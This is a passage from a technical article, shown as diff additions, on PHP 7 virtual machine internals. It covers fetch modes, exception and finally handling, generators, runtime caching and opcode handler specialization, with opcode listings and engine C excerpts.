+particular examples where it is used are passing the result of a function call as an argument, or passing the result of
+an assignment.
+
+This case needs a separate opcode for two reasons: Firstly, it will generate the familiar “Only variables should be
+passed by reference” notice if you try to pass something like an assignment by ref (if SEND_VAR_EX were used instead, it
+would have been silently allowed). Secondly, this opcode deals with the case that you might want to pass the result of
+a reference-returning function to a by-reference argument (which should not throw anything). The SEND_VAR_NO_REF variant
+of this opcode (without the _EX) is a specialized variant for the case where we statically know that a reference is
+expected (but we don’t know whether the argument is one).
+
+The SEND_UNPACK and SEND_ARRAY opcodes deal with argument unpacking and inlined `call_user_func_array` calls
+respectively. They both push the elements from an array onto the argument stack and differ in various details (e.g.
+unpacking supports Traversables while call_user_func_array does not). If unpacking/cufa is used, it may be necessary
+to extend the stack frame beyond its previous size (as the real number of function arguments is not known at the time
+of initialization). In most cases this extension can happen simply by moving the stack top pointer. However if this
+would cross a stack page boundary, a new page has to be allocated and the entire call frame (including already pushed
+arguments) needs to be copied to the new page (we are not be able to handle a call frame crossing a page boundary).
+
+The last opcode is SEND_USER, which is used for inlined `call_user_func` calls and deals with some of its peculiarities.
+
+While we haven’t yet discussed the different variable fetch modes, this seems like a good place to introduce the
+FUNC_ARG fetch mode. Consider a simple call like `func($a[0][1][2])`, for which we do not know at compile-time whether
+the argument will be passed by-value or by-reference. In both cases the behavior will be wildly different. If the pass is
+by-value and `$a` was previously empty, this could would have to generate a bunch of “undefined index” notices. If the
+pass is by-reference we’d have to silently initialize the nested arrays instead.
+
+The FUNC_ARG fetch mode will dynamically choose one of the two behaviors (R or W), by inspecting the arginfo of the
+current `EX(call)` function. For the `func($a[0][1][2])` example, the opcode sequence might look something like this:
+
+```
+INIT_FCALL_BY_NAME "func"
+V0 = FETCH_DIM_FUNC_ARG (arg 1) $a, 0
+V1 = FETCH_DIM_FUNC_ARG (arg 1) V0, 1
+V2 = FETCH_DIM_FUNC_ARG (arg 1) V1, 2
+SEND_VAR_EX V2
+DO_FCALL
+
+```
+
+## Fetch modes ##
+
+The PHP virtual machine has four classes of fetch opcodes:
+
+```
+FETCH_*             // $_GET, $$var
+FETCH_DIM_*         // $arr[0]
+FETCH_OBJ_*         // $obj->prop
+FETCH_STATIC_PROP_* // A::$prop
+
+```
+
+These do precisely what one would expect them to do, with the caveat that the basic FETCH_* variant is only used to
+access variable-variables and superglobals: normal variable accesses go through the much faster CV mechanism instead.
+
+These fetch opcodes each come in six variants:
+
+```
+_R
+_RW
+_W
+_IS
+_UNSET
+_FUNC_ARG
+
+```
+
+We’ve already learned that _FUNC_ARG chooses between _R and _W depending on whether a function argument is by-value or
+by-reference. Let’s try to create some situations where we would expect the different fetch types to appear:
+
+```
+// $arr[0];
+V2 = FETCH_DIM_R $arr int(0)
+FREE V2
+
+// $arr[0] = $val;
+ASSIGN_DIM $arr int(0)
+OP_DATA $val
+
+// $arr[0] += 1;
+ASSIGN_ADD (dim) $arr int(0)
+OP_DATA int(1)
+
+// isset($arr[0]);
+T5 = ISSET_ISEMPTY_DIM_OBJ (isset) $arr int(0)
+FREE T5
+
+// unset($arr[0]);
+UNSET_DIM $arr int(0)
+
+```
+
+Unfortunately, the only actual fetch this produced is FETCH_DIM_R: Everything else is handled through special opcodes.
+Note that ASSIGN_DIM and ASSIGN_ADD both use an extra OP_DATA, because they need more than two input operands. The
+reason why special opcodes like ASSIGN_DIM are used, instead of something like FETCH_DIM_W + ASSIGN, is (apart from
+performance) that these operations may be overloaded, e.g., in the ASSIGN_DIM case by means of an object implementing
+ArrayAccess::offsetSet(). To actually generate the different fetch types we need to increase the level of nesting:
+
+```
+// $arr[0][1];
+V2 = FETCH_DIM_R $arr int(0)
+V3 = FETCH_DIM_R V2 int(1)
+FREE V3
+
+// $arr[0][1] = $val;
+V4 = FETCH_DIM_W $arr int(0)
+ASSIGN_DIM V4 int(1)
+OP_DATA $val
+
+// $arr[0][1] += 1;
+V6 = FETCH_DIM_RW $arr int(0)
+ASSIGN_ADD (dim) V6 int(1)
+OP_DATA int(1)
+
+// isset($arr[0][1]);
+V8 = FETCH_DIM_IS $arr int(0)
+T9 = ISSET_ISEMPTY_DIM_OBJ (isset) V8 int(1)
+FREE T9
+
+// unset($arr[0][1]);
+V10 = FETCH_DIM_UNSET $arr int(0)
+UNSET_DIM V10 int(1)
+
+```
+
+Here we see that while the outermost access uses specialized opcodes, the nested indexes will be handled using FETCHes
+with an appropriate fetch mode. The fetch modes essentially differ by a) whether they generate an “undefined offset”
+notice if the index doesn’t exist, and whether they fetch the value for writing:
+
+```
+      | Notice? | Write?
+R     |  yes    |  no
+W     |  no     |  yes
+RW    |  yes    |  yes
+IS    |  no     |  no
+UNSET |  no     |  yes-ish
+
+```
+
+The case of UNSET is a bit peculiar, in that it will only fetch existing offsets for writing, and leave undefined ones
+alone. A normal write-fetch would initialize undefined offsets instead.
+
+### Writes and memory safety ###
+
+Write fetches return VARs that may contain either a normal zval or an INDIRECT pointer to another zval. Of course, in
+the former case any changes applied to the zval will not be visible, as the value is only accessible through a VM
+temporary. While PHP prohibits expression such as `[][0] = 42`, we still need to handle this for cases like
+`call()[0] = 42`. Depending on whether `call()` returns by-value or by-reference, this expression may or may not have an
+observable effect.
+
+The more typical case is when the fetch returns an INDIRECT, which contains a pointer to the storage location that is
+being modified, for example a certain location in a hashtable data array. Unfortunately, such pointers are fragile
+things and easily invalidated: any concurrent write to the array might trigger a reallocation, leaving behind a dangling
+pointer. As such, it is critical to prevent the execution of user code between the point where an INDIRECT value is
+created and where it is consumed.
+
+Consider this example:
+
+```
+$arr[a()][b()]=c();
+```
+
+Which generates:
+
+```
+INIT_FCALL_BY_NAME (0 args) "a"
+V1 = DO_FCALL_BY_NAME
+INIT_FCALL_BY_NAME (0 args) "b"
+V3 = DO_FCALL_BY_NAME
+INIT_FCALL_BY_NAME (0 args) "c"
+V5 = DO_FCALL_BY_NAME
+V2 = FETCH_DIM_W $arr V1
+ASSIGN_DIM V2 V3
+OP_DATA V5
+
+```
+
+Notably, this sequence first executes all side-effects from left to right and only then performs any necessary write
+fetches (we refer to the FETCH_DIM_W here as a “delayed opline”). This ensures that the write-fetch and the consuming
+instruction are directly adjacent.
+
+Consider another example:
+
+```
+$arr[0]=&$arr[1];
+```
+
+Here we have a bit of problem: Both sides of the assignment must be fetched for write. However, if we fetch `$arr[0]`
+for write and then `$arr[1]` for write, the latter might invalidate the former. This problem is solved as follows:
+
+```
+V2 = FETCH_DIM_W $arr 1
+V3 = MAKE_REF V2
+V1 = FETCH_DIM_W $arr 0
+ASSIGN_REF V1 V3
+
+```
+
+Here `$arr[1]` is fetched for write first, then turned into a reference using MAKE_REF. The result of MAKE_REF is no
+longer INDIRECT and not subject to invalidation, as such the fetch of `$arr[0]` can be performed safely.
+
+## Exception handling ##
+
+Exceptions are the root of all evil.
+
+An exception is generated by writing an exception into `EG(exception)`, where EG refers to executor globals. Throwing
+exceptions from C code does not involve stack unwinding, instead the abortion will propagate upwards through return
+value failure codes or checks for `EG(exception)`. The exception is only actually handled when control reenters the
+virtual machine code.
+
+Nearly all VM instructions can directly or indirectly result in an exception under some circumstances. For example any
+“undefined variable” notice can result in an exception if a custom error handler is used. We want to avoid checking
+whether `EG(exception)` has been set after each VM instruction. Instead a small trick is used:
+
+When an exception is thrown the current opline of the current execute data is replaced with a dummy HANDLE_EXCEPTION
+opline (this obviously does not modify the op array, it only redirects a pointer). The opline at which the exception
+originated is backed up into `EG(opline_before_exception)`.
+
+This means that when control returns into the main virtual machine dispatch loop, the HANDLE_EXCEPTION opcode will be
+invoked. There is a slight problem with this scheme: It requires that a) the opline stored in the execute data is
+actually the currently executed opline (otherwise opline_before_exception would be wrong) and b) the virtual machine
+uses the opline from the execute data to continue execution (otherwise HANDLE_EXCEPTION will not be invoked).
+
+While these requirements may sound trivial, they are not. The reason is that the virtual machine may be working on a
+different opline variable that is out-of-sync with the opline stored in execute data. Before PHP 7 this only happened
+in the rarely used GOTO and SWITCH virtual machines, while in PHP 7 this is actually the default mode of operation: If
+the compiler supports it, the opline is stored in a global register.
+
+As such, before performing any operation that might possibly throw, the local opline must be written back into the
+execute data (SAVE_OPLINE operation). Similarly, after any potentially throwing operation the local opline must be
+populated from execute data (mostly a CHECK_EXCEPTION operation).
+
+Now, this machinery is what causes a HANDLE_EXCEPTION opcode to execute after an exception is thrown. But what does it
+do? First of all, it determines whether the exception was thrown inside a try block. For this purpose the op array
+contains an array of try_catch_elements that track opline offsets for try, catch and finally blocks:
+
+```
+typedef struct _zend_try_catch_element {
+	uint32_t try_op;
+	uint32_t catch_op;  /* ketchup! */
+	uint32_t finally_op;
+	uint32_t finally_end;
+} zend_try_catch_element;
+```
+
+For now we will pretend that finally blocks do not exist, as they are a whole different rabbit hole. Assuming that we
+are indeed inside a try block, the VM needs to clean up all unfinished operations that started before the throwing
+opline and don’t span past the end of the try block.
+
+This involves freeing the stack frames and associated data of all calls currently in flight, as well as freeing live
+temporaries. In the majority of cases temporaries are short-lived to the point that the consuming instruction directly
+follows the generating one. However it can happen that the live-range spans multiple, potentially throwing instructions:
+
+```
+# (array)[] + throwing()
+L0:   T0 = CAST (array) []
+L1:   INIT_FCALL (0 args) "throwing"
+L2:   V1 = DO_FCALL
+L3:   T2 = ADD T0, V1
+
+```
+
+In this case the T0 variable is live during instructions L1 and L2, and as such would need to be destroyed if the
+function call throws. One particular type of temporary tends to have particularly long live ranges: Loop variables.
+For example:
+
+```
+# foreach ($array as $value) throw $ex;
+L0:   V0 = FE_RESET_R $array, ->L4
+L1:   FE_FETCH_R V0, $value, ->L4
+L2:   THROW $ex
+L3:   JMP ->L1
+L4:   FE_FREE V0
+
+```
+
+Here the “loop variable” V0 lives from L1 to L3 (generally always spanning the entire loop body). Live ranges are stored
+in the op array using the following structure:
+
+```
+typedef struct _zend_live_range {
+    uint32_t var; /* low bits are used for variable type (ZEND_LIVE_* macros) */
+    uint32_t start;
+    uint32_t end;
+} zend_live_range;
+```
+
+Here `var` is the (operand encoded) variable the range applies to, `start` is the start opline offset (not including the
+generating instruction), while `end` if the end opline offset (including the consuming instruction). Of course live
+ranges are only stored if the temporary is not immediately consumed.
+
+The lower bits of `var` are used to store the type of the variable, which can be one of:
+
+- ZEND_LIVE_TMPVAR: This is a “normal” variable. It holds an ordinary zval value. Freeing this variable behaves like a
+FREE opcode.
+- ZEND_LIVE_LOOP: This is a foreach loop variable, which holds more than a simple zval. This corresponds to a FE_FREE
+opcode.
+- ZEND_LIVE_SILENCE: This is used for implementing the error suppression operator. The old error reporting level is
+backed up into a temporary and later restored. If an exception is thrown we obviously want to restore it as well.
+This corresponds to END_SILENCE.
+- ZEND_LIVE_ROPE: This is used for rope string concatenations, in which case the temporary is a fixed-sized array of
+`zend_string*` pointers living on the stack. In this case all the strings that have already been populated must be
+freed. Corresponds approximately to END_ROPE.
+
+A tricky question to consider in this context is whether temporaries should be freed, if either their generating or
+their consuming instruction throws. Consider the following simple code:
+
+```
+T2 = ADD T0, T1
+ASSIGN $v, T2
+
+```
+
+If an exception is thrown by the ADD, should the T2 temporary be automatically freed, or is the ADD instruction
+responsible for this? Similarly, if the ASSIGN throws, should T2 be freed automatically, or must the ASSIGN take care
+of this itself? In the latter case the answer is clear: An instruction is always responsible for freeing its operands,
+even if an exception is thrown.
+
+The case of the result operand is more tricky, because the answer here changed between PHP 7.1 and 7.2: In PHP 7.1 the
+instruction was responsible for freeing the result in case of an exception. In PHP 7.2 it is automatically freed (and
+the instruction is responsible for making sure the result is *always* populated). The motivation for this change is the
+way that many basic instructions (such as ADD) are implemented. Their usual structure goes roughly as follows:
+
+```
+1. read input operands
+2. perform operation, write it into result operand
+3. free input operands (if necessary)
+
+```
+
+This is problematic, because PHP is in the very unfortunate position of not only supporting exceptions and destructors,
+but also supporting throwing destructors (this is the point where compiler engineers cry out in horror). As such, step 3
+can throw, at which point the result is already populated. To avoid memory leaks in this edge-case, responsiblility for
+freeing the result operand has been shifted from the instruction to the exception handling mechanism.
+
+Once we have performed these cleanup operations, we can continue executing the catch block. If there is no catch (and
+no finally) we unwind the stack, i.e. destroy the current stack frame and give the parent frame a shot at handling the
+exception.
+
+So you get a full appreciation for how ugly the whole exception handling business is, I’ll relate another tidbit related
+to throwing destructors. It’s not remotely relevant in practice, but we still need to handle it to ensure correctness.
+Consider this code:
+
+```
+foreach (new Dtor as $value) {
+    try {
+        echo "Return";
+        return;
+    } catch (Exception $e) {
+        echo "Catch";
+    }
+}
+
+```
+
+Now imagine that `Dtor` is a Traversable class with a throwing destructor. This code will result in the following opcode
+sequence, with the loop body indented for readability:
+
+```
+L0:   V0 = NEW 'Dtor', ->L2
+L1:   DO_FCALL
+L2:   V2 = FE_RESET_R V0, ->L11
+L3:   FE_FETCH_R V2, $value
+L4:       ECHO 'Return'
+L5:       FE_FREE (free on return) V2   # <- return
+L6:       RETURN null                   # <- return
+L7:       JMP ->L10
+L8:       CATCH 'Exception' $e
+L9:       ECHO 'Catch'
+L10:  JMP ->L3
+L11:  FE_FREE V2                        # <- the duplicated instr
+
+```
+
+Importantly, note that the “return” is compiled to a FE_FREE of the loop variable and a RETURN. Now, what happens if
+that FE_FREE throws, because `Dtor` has a throwing destructor? Normally, we would say that this instruction is within
+the try block, so we should be invoking the catch. However, at this point the loop variable has already been destroyed!
+The catch discards the exception and we’ll try to continue iterating an already dead loop variable.
+
+The cause of this problem is that, while the throwing FE_FREE is inside the try block, it is a copy of the FE_FREE in
+L11. Logically that is where the exception “really” occurred. This is why the FE_FREE generated by the break is
+annotated as being a FREE_ON_RETURN. This instructs the exception handling mechanism to move the source of the exception
+to the original freeing instruction. As such the above code will not run the catch block, it will generate an uncaught
+exception instead.
+
+## Finally handling ##
+
+PHP’s history with finally blocks is somewhat troubled. PHP 5.5 first introduced finally blocks, or rather: a really
+buggy implementation of finally blocks. Each of PHP 5.6, 7.0 and 7.1 shipped with major rewrites of the finally
+implementation, each fixing a whole slew of bugs, but not quite managing to reach a fully correct implementation. It
+looks like PHP 7.1 finally managed to hit the nail (fingers crossed).
+
+While writing this section, I was surprised to find that from the perspective of the current implementation and my
+current understanding, finally handling is actually not all that complicated. Indeed, in many ways the implementation
+became simpler through the different iterations, rather than more complex. This goes to show how an insufficient
+understanding of a problem can result in an implementation that is both excessively complex and buggy (although, to be
+fair, part of the complexity of the PHP 5 implementation stemmed directly from the lack of an AST).
+
+Finally blocks are run whenever control exits a try block, either normally (e.g. using return) or abnormally (by
+throwing). There are a couple interesting edge-cases to consider, which I’ll quickly illustrate before going into the
+implementation. Consider:
+
+```
+try {
+    throw new Exception();
+} finally {
+    return 42;
+}
+```
+
+What happens? Finally wins and the function returns 42. Consider:
+
+```
+try {
+    return 24;
+} finally {
+    return 42;
+}
+```
+
+Again finally wins and the function returns 42. The finally always wins.
+
+PHP prohibits jumps out of finally blocks. For example the following is forbidden:
+
+```
+foreach ($array as $value) {
+    try {
+        return 42;
+    } finally {
+        continue;
+    }
+}
+```
+
+The “continue” in the above code sample will generate a compile-error. It is important to understand that this
+limitation is purely cosmetic and can be easily worked around by using the “well-known” catch control delegation
+pattern:
+
+```
+foreach ($array as $value) {
+    try {
+        try {
+            return 42;
+        } finally {
+            throw new JumpException;
+        }
+    } catch (JumpException $e) {
+        continue;
+    }
+}
+```
+
+The only real limitation that exists is that it is not possible to jump *into* a finally block, e.g. performing a goto
+from outside a finally to a label inside a finally is forbidden.
+
+With the preliminaries out of the way, we can look at how finally works. The implementation uses two opcodes, FAST_CALL
+and FAST_RET. Roughly, FAST_CALL is for jumping into a finally block and FAST_RET is for jumping out of it. Let’s
+consider the simplest case:
+
+```
+try {
+    echo "try";
+} finally {
+    echo "finally";
+}
+echo "finished";
+```
+
+This code compiles down to the following opcode sequence:
+
+```
+L0:   ECHO string("try")
+L1:   T0 = FAST_CALL ->L3
+L2:   JMP ->L5
+L3:   ECHO string("finally")
+L4:   FAST_RET T0
+L5:   ECHO string("finished")
+L6:   RETURN int(1)
+
+```
+
+The FAST_CALL stores its own location into T0 and jumps into the finally block at L3. When FAST_RET is reached, it jumps
+back to (one after) the location stored in T0. In this case this would be L2, which is just a jump around the finally
+block. This is the base case where no special control flow (returns or exceptions) occurs. Let’s now consider the
+exceptional case:
+
+```
+try {
+    throw new Exception("try");
+} catch (Exception $e) {
+    throw new Exception("catch");
+} finally {
+    throw new Exception("finally");
+}
+```
+
+When handling an exception, we have to consider the position of the thrown exception relative to the closest surrounding
+try/catch/finally block:
+
+1. Throw from try, with matching catch: Populate `$e` and jump into catch.
+2. Throw from catch or try without matching catch, if there is a finally block: Jump into finally block and this
+time back up the exception into the FAST_CALL temporary (instead of storing the return address there.)
+3. Throw from finally: If there is a backed-up exception in the FAST_CALL temporary, chain it as the previous exception
+of the thrown one. Continue bubbling the exception up to the next try/catch/finally.
+4. Otherwise: Continue bubbling the exception up to the next try/catch/finally.
+
+In this example we’ll go through the first three steps: First try throws, triggering a jump into catch. Catch also
+throws, triggering a jump into the finally block, with the exception backed up in the FAST_CALL temporary. The finally
+block then also throws, so that the “finally” exception will bubble up with the “catch” exception set as its previous
+exception.
+
+A small variation on the previous example is the following code:
+
+```
+try {
+    try {
+        throw new Exception("try");
+    } finally {}
+} catch (Exception $e) {
+    try {
+        throw new Exception("catch");
+    } finally {}
+} finally {
+    try {
+        throw new Exception("finally");
+    } finally {}
+}
+```
+
+All the inner finally blocks here are entered exceptionally, but left normally (via FAST_RET). In this case the
+previously described exception handling procedure is resumed starting from the parent try/catch/finally block. This
+parent try/catch is stored in the FAST_RET opcode (here “try-catch(0)”).
+
+This essentially covers the interaction of finally and exceptions. But what about a return in finally?
+
+```
+try {
+    throw new Exception("try");
+} finally {
+    return 42;
+}
+```
+
+The relevant portion of the opcode sequence is this:
+
+```
+L4:   T0 = FAST_CALL ->L6
+L5:   JMP ->L9
+L6:   DISCARD_EXCEPTION T0
+L7:   RETURN 42
+L8:   FAST_RET T0
+
+```
+
+The additional DISCARD_EXCEPTION opcode is responsible for discarding the exception thrown in the try block (remember:
+the return in the finally wins). What about a return in try?
+
+```
+try {
+    $a = 42;
+    return $a;
+} finally {
+    ++$a;
+}
+```
+
+The excepted return value here is 42, not 43. The return value is determined by the `return $a` line, any further
+modification of `$a` should not matter. The code results in:
+
+```
+L0:   ASSIGN $a, 42
+L1:   T3 = QM_ASSIGN $a
+L2:   T1 = FAST_CALL ->L6, T3
+L3:   RETURN T3
+L4:   T1 = FAST_CALL ->L6      # unreachable
+L5:   JMP ->L8                 # unreachable
+L6:   PRE_INC $a
+L7:   FAST_RET T1
+L8:   RETURN null
+
+```
+
+Two of the opcodes are unreachable, as they occur directly after a return. These will be removed during optimization,
+but I’m showing unoptimized opcodes here. There are two interesting things here: Firstly, `$a` is copied into T3 using
+QM_ASSIGN (which is basically a “copy into temporary” instruction). This is what prevents the later modification of `$a`
+from affecting the return value. Secondly, T3 is also passed to FAST_CALL, which will back up the value in T1. If the
+return from the try block is later discarded (e.g, because finally throws or returns), this mechanism will be used to
+free the unused return value.
+
+All of these individual mechanisms are simple, but some care needs to taken when they are composed. Consider the
+following example, where `Dtor` is again some Traversable class with a throwing destructor:
+
+```
+try {
+    foreach (new Dtor as $v) {
+        try {
+            return 1;
+        } finally {
+            return 2;
+        }
+    }
+} finally {
+    echo "finally";
+}
+```
+
+This code generates the following opcodes:
+
+```
+L0:   V2 = NEW (0 args) "Dtor"
+L1:   DO_FCALL
+L2:   V4 = FE_RESET_R V2 ->L16
+L3:   FE_FETCH_R V4 $v ->L16
+L4:       T5 = FAST_CALL ->L10         # inner try
+L5:       FE_FREE (free on return) V4
+L6:       T1 = FAST_CALL ->L19
+L7:       RETURN 1
+L8:       T5 = FAST_CALL ->L10         # unreachable
+L9:       JMP ->L15
+L10:      DISCARD_EXCEPTION T5         # inner finally
+L11:      FE_FREE (free on return) V4
+L12:      T1 = FAST_CALL ->L19
+L13:      RETURN 2
+L14:      FAST_RET T5 try-catch(0)
+L15:  JMP ->L3
+L16:  FE_FREE V4
+L17:  T1 = FAST_CALL ->L19
+L18:  JMP ->L21
+L19:  ECHO "finally"                   # outer finally
+L20:  FAST_RET T1
+
+```
+
+The sequence for the first return (from inner try) is FAST_CALL L10, FE_FREE V4, FAST_CALL L19, RETURN. This will first
+call into the inner finally block, then free the foreach loop variable, then call into the outer finally block and
+then return. The sequence for the second return (from inner finally) is DISCARD_EXCEPTION T5, FE_FREE V4,
+FAST_CALL L19. This first discards the exception (or here: return value) of the inner try block, then frees the foreach
+loop variable and finally calls into the outer finally block. Note how in both cases the order of these instructions is
+the reverse order of the relevant blocks in the source code.
+
+## Generators ##
+
+Generator functions may be paused and resumed, and consequently require special VM stack management. Here’s a simple
+generator:
+
+```
+function gen($x) {
+    foo(yield $x);
+}
+```
+
+This yields the following opcodes:
+
+```
+$x = RECV 1
+GENERATOR_CREATE
+INIT_FCALL_BY_NAME (1 args) string("foo")
+V1 = YIELD $x
+SEND_VAR_NO_REF_EX V1 1
+DO_FCALL_BY_NAME
+GENERATOR_RETURN null
+
+```
+
+Until GENERATOR_CREATE is reached, this is executed as a normal function, on the normal VM stack. GENERATOR_CREATE then
+creates a `Generator` object, as well as a heap-allocated execute_data structure (including slots for variables and
+arguments, as usual), into which the execute_data on the VM stack is copied.
+
+When the generator is resumed again, the executor will use the heap-allocated execute_data, but will continue to use the
+main VM stack to push call frames. An obvious problem with this is that it’s possible to interrupt a generator while a
+call is in progress, as the previous example shows. Here the YIELD is executed at a point where the call frame for the
+call foo() has already been pushed onto the VM stack.
+
+This relatively uncommon case is handled by copying the active call frames into the generator structure when control is
+yielded, and restoring them when the generator is resumed.
+
+This design is used since PHP 7.1. Previously, each generator had its own 4KiB VM page, which would be swapped into the
+executor when a generator was restored. This avoids the need for copying call frames, but increases memory usage.
+
+## Smart branches ##
+
+It is very common that comparison instructions are directly followed by condition jumps. For example:
+
+```
+L0:   T2 = IS_EQUAL $a, $b
+L1:   JMPZ T2 ->L3
+L2:   ECHO "equal"
+
+```
+
+Because this pattern is so common, all the comparison opcodes (such as IS_EQUAL) implement a smart branch mechanism:
+they check if the next instruction is a JMPZ or JMPNZ instruction and if so, perform the respective jump operation
+themselves.
+
+The smart branch mechanism only checks whether the next instruction is a JMPZ/JMPNZ, but does not actually check whether
+its operand is actually the result of the comparison, or something else. This requires special care in cases where the
+comparison and subsequent jump are unrelated. For example, the code `($a == $b) + ($d ? $e : $f)` generates:
+
+```
+L0:   T5 = IS_EQUAL $a, $b
+L1:   NOP
+L2:   JMPZ $d ->L5
+L3:   T6 = QM_ASSIGN $e
+L4:   JMP ->L6
+L5:   T6 = QM_ASSIGN $f
+L6:   T7 = ADD T5 T6
+L7:   FREE T7
+
+```
+
+Note that a NOP has been inserted between the IS_EQUAL and the JMPZ. If this NOP weren’t present, the branch would end
+up using the IS_EQUAL result, rather than the JMPZ operand.
+
+## Runtime cache ##
+
+Because opcode arrays are shared (without locks) between multiple processes, they are strictly immutable. However,
+runtime values may be cached in a separate “runtime cache”, which is basically an array of pointers. Literals may have
+an associated runtime cache entry (or more than one), which is stored in their u2 slot.
+
+Runtime cache entries come in two types: The first are ordinary cache entries, such as the one used by INIT_FCALL. After
+INIT_FCALL has looked up the called function once (based on its name), the function pointer will be cached in the
+associated runtime cache slot.
+
+The second type are polymorphic cache entries, which are just two consecutive cache slots, where the first stores a
+class entry and the second the actual datum. These are used for operations like FETCH_OBJ_R, where the offset of the
+property in the property table for a certain class is cached. If the next access happens on the same class (which is
+quite likely), the cached value will be used. Otherwise a more expensive lookup operation is performed, and the result
+is cached for the new class entry.
+
+## VM interrupts ##
+
+Prior to PHP 7.0, execution timeouts used to handled by a longjump into the shutdown sequence directly from the signal
+handler. As you may imagine, this caused all manner of unpleasantness. Since PHP 7.0 timeouts are instead delayed until
+control returns to the virtual machine. If it doesn’t return within a certain grace period, the process is aborted.
+Since PHP 7.1 pcntl signal handlers use the same mechanism as execution timeouts.
+
+When a signal is pending, a VM interrupt flag is set and this flag is checked by the virtual machine at certain points.
+A check is not performed at every instruction, but rather only on jumps and calls. As such the interrupt will not be
+handled immediately on return to the VM, but rather at the end of the current section of linear control flow.
+
+## Specialization ##
+
+If you take a look at the [VM definition](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h) file, you’ll
+find that opcode handlers are defined as follows:
+
+```
+ZEND_VM_HANDLER(1, ZEND_ADD, CONST|TMPVAR|CV, CONST|TMPVAR|CV)
+
+```
+
+The `1` here is the opcode number, `ZEND_ADD` its name, while the other two arguments specify which operand types the
+instruction accepts. The [generated virtual machine code](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h)
+(generated by [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php)) will then contain
+specialized handlers for each of the possible operand type combinations. These will have names like
+ZEND_ADD_SPEC_CONST_CONST_HANDLER.
+
+The specialized handlers are generated by replacing certain macros in the handler body. The obvious ones are OP1_TYPE
+and OP2_TYPE, but operations such as GET_OP1_ZVAL_PTR() and FREE_OP1() are also specialized.
+
+The handler for ADD specified that it accepts `CONST|TMPVAR|CV` operands. The TMPVAR here means that the opcode accepts
+both TMPs and VARs, but asks for these to not be specialized separately. Remember that for most purposes the only
+difference between TMP and VAR is that the latter can contain references. For an opcode like ADD (where references are
+on the slow-path anyway) having a separate specialization for this is not worthwhile. Some other opcodes that do make
+this distinction will use `TMP|VAR` in their operand list.
+
+Next to the operand-type based specialization, handlers can also be specialized on other factors, such as whether their
+return value is used. ASSIGN_DIM specializes based on the operand type of the following OP_DATA opcode:
+
+```
+ZEND_VM_HANDLER(147, ZEND_ASSIGN_DIM,
+    VAR|CV, CONST|TMPVAR|UNUSED|NEXT|CV, SPEC(OP_DATA=CONST|TMP|VAR|CV))
+
+```
+
+Based on this signature, 2*4*4=32 different variants of ASSIGN_DIM will be generated. The specification for the second
+operand also contains an entry for `NEXT`. This is not related to specialization, instead it specifies what the meaning
+of an UNUSED operand is in this context: it means that this is an append operations (`$arr[]`). Another example:
+
+```
+ZEND_VM_HANDLER(23, ZEND_ASSIGN_ADD,
+    VAR|UNUSED|THIS|CV, CONST|TMPVAR|UNUSED|NEXT|CV, DIM_OBJ, SPEC(DIM_OBJ))
+
+```
+
+Here we have that the first operand being UNUSED implies an access on `$this`. This is a general convention for object
+related opcodes, for example `FETCH_OBJ_R UNUSED, 'prop'` corresponds to `$this->prop`. An UNUSED second operand again
+implies an append operation. The third argument here specifies the meaning of the extended_value operand: It contains
+a flag that distinguishes between `$a += 1`, `$a[$b] += 1` and `$a->b += 1`. Finally, the `SPEC(DIM_OBJ)` instructs that
+a specialized handler should be generated for each of those. (In this case the number of total handlers that will be
+generated is non-trivial, because the VM generator knows that certain combination are impossible. For example an UNUSED
+op1 is only relevant for the OBJ case, etc.)
+
+Finally, the virtual machine generator supports an additional, more sophisticated specialization mechanism. Towards the
+end of the definition file, you will find a number of handlers of this form:
+
+```
+ZEND_VM_TYPE_SPEC_HANDLER(
+    ZEND_ADD,
+    (res_info == MAY_BE_LONG && op1_info == MAY_BE_LONG && op2_info == MAY_BE_LONG),
+    ZEND_ADD_LONG_NO_OVERFLOW,
+    CONST|TMPVARCV, CONST|TMPVARCV, SPEC(NO_CONST_CONST,COMMUTATIVE)
+)
+
+```
+
+These handlers specialize not only based on the VM operand type, but also based on the possible types the operand might
+take at runtime. The mechanism by which possible operand types are determined is part of the opcache optimization
+infrastructure and quite outside the scope of this article. However, assuming such information is available, it should
+be clear that this is a handler for an addition of the form `int + int -> int`. Additionally, the SPEC annotation tells
+the specializer that variants for two const operands should not be generated and that the operation is commutative, so
+that if we already have a CONST+TMPVARCV specialization, we do not need to generate TMPVARCV+CONST as well.
+
+## Fast-path / slow-path split ##
+
+Many opcode handlers are implemented using a fast-path / slow-path split, where first a few common cases are handled,
+before falling back to a generic implementation. It’s about time we looked at some actual code, so I’ll just paste the
+entirety of the SL (shift-left) implementation here:
+
+```
+ZEND_VM_HANDLER(6, ZEND_SL, CONST|TMPVAR|CV, CONST|TMPVAR|CV)
+{
+	USE_OPLINE
+	zend_free_op free_op1, free_op2;
+	zval *op1, *op2;
+
+	op1 = GET_OP1_ZVAL_PTR_UNDEF(BP_VAR_R);
+	op2 = GET_OP2_ZVAL_PTR_UNDEF(BP_VAR_R);
+	if (EXPECTED(Z_TYPE_INFO_P(op1) == IS_LONG)
+			&& EXPECTED(Z_TYPE_INFO_P(op2) == IS_LONG)
+			&& EXPECTED((zend_ulong)Z_LVAL_P(op2) < SIZEOF_ZEND_LONG * 8)) {
+		ZVAL_LONG(EX_VAR(opline->result.var), Z_LVAL_P(op1) << Z_LVAL_P(op2));
+		ZEND_VM_NEXT_OPCODE();
+	}
+
+	SAVE_OPLINE();
+	if (OP1_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op1) == IS_UNDEF)) {
+		op1 = GET_OP1_UNDEF_CV(op1, BP_VAR_R);
+	}
+	if (OP2_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op2) == IS_UNDEF)) {
+		op2 = GET_OP2_UNDEF_CV(op2, BP_VAR_R);
+	}
+	shift_left_function(EX_VAR(opline->result.var), op1, op2);
+	FREE_OP1();
+	FREE_OP2();
+	ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();
+}
+```
+
+The implementation starts by fetching the operands using `GET_OPn_ZVAL_PTR_UNDEF` in BP_VAR_R mode. The `UNDEF` part
+here means that no check for undefined variables is performed in the CV case, instead you’ll just get back an UNDEF
+value as-is. Once we have the operands, we check whether both are integers and the shift width is in range, in which
+case the result can be directly computed and we advance to the next opcode. Notably, the type check here doesn’t care
+whether the operands are UNDEF, so the use of GET_OPn_ZVAL_PTR_UNDEF is justified.
+
